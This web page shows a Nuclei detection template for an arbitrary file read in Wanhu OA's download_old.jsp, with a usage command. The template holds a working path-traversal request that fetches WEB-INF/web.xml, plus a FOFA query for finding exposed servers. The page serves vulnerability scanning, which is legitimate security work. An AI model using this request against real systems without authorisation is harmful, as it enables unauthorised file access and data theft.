Skip to content

Wanhu OA download_old.jsp - Arbitrary File Read

ID: wanhu-download-old-file-read

Severity: high

Author: SleepingBag945

Tags: wanhu,lfi

There is an arbitrary file download vulnerability in the Wanhu OA download_old.jsp file. An attacker can download any file on the server through the vulnerability.

id: wanhu-download-old-file-read
info:
name: Wanhu OA download_old.jsp - Arbitrary File Read
author: SleepingBag945
severity: high
description: |
There is an arbitrary file download vulnerability in the Wanhu OA download_old.jsp file. An attacker can download any file on the server through the vulnerability.
reference:
- http://wiki.peiqi.tech/wiki/oa/万户OA/万户OA%20download_old.jsp%20任意文件下载漏洞.html
- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/wanhu-oa-download-old-file-read.yaml
metadata:
verified: true
max-request: 1
fofa-query: app="万户网络-ezOFFICE"
tags: wanhu,lfi
http:
- method: GET
path:
- "{{BaseURL}}/defaultroot/download_old.jsp?path=..&name=x&FileName=WEB-INF/web.xml"
matchers-condition: and
matchers:
- type: word
words:
- "<?xml version="
- "web-app"
- "display-name"
condition: and
- type: status
status:
- 200
# digest: 490a0046304402203527d2b2fb28baff6106cd54990fbcdd906de0fbf44476dba86c23d32f83cde0022059de3f6c91ee73c18ae4cbdccbf6b242fe50f55e99d33e5b402c691cdc29b13b:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wanhu/wanhu-download-old-file-read.yaml"

View on Github